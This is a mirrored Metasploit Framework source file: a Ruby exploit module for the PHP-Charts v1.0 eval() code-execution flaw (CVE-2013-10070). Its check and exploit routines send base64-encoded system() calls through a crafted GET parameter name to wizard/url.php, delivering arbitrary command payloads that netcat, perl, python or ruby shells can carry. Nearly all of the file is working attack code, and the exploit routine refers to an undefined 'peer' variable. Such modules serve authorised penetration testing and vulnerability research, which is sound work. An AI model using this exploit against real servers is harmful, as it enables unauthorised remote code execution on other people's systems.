modules/exploits/unix/webapp/php_charts_exec.rb - master - githubmirror/metasploit-framework

modules/exploits/unix/webapp/php_charts_exec.rb
116 строк4 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in unix/webapp exploit modules
30 апр 2026, 02:16
30 апр 2026, 02:160bf595c
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "PHP-Charts v1.0 PHP Code Execution Vulnerability",
        'Description' => %q{
          This module exploits a PHP code execution vulnerability in php-Charts
          version 1.0 which could be abused to allow users to execute arbitrary
          PHP code under the context of the webserver user. The 'url.php' script
          calls eval() with user controlled data from any HTTP GET parameter name.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'AkaStep', # Discovery and PoC
          'bcoles' # msf exploit
        ],
        'References' => [
          ['CVE', '2013-10070'],
          ['OSVDB', '89334'],
          ['BID', '57448'],
          ['EDB', '24201']
        ],
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x22",
          'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic telnet netcat netcat-e perl ruby python',
                    }
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true }]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-01-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),
      ]
    )
  end

  def check
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    peer = "#{rhost}:#{rport}"
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(8) + 4)
    code = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
    rand_key_value = rand_text_alphanumeric(rand(10) + 6)

    # send check
    print_status("Sending check")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
      })

      if res and res.body =~ /#{fingerprint}/
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'

    code = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded + "&"))
    rand_key_value = rand_text_alphanumeric(rand(10) + 6)

    # send payload
    print_status("Sending payload (#{code.length} bytes)")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
      })
      if res and res.code == 500
        print_good("Payload sent successfully")
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end
  end
end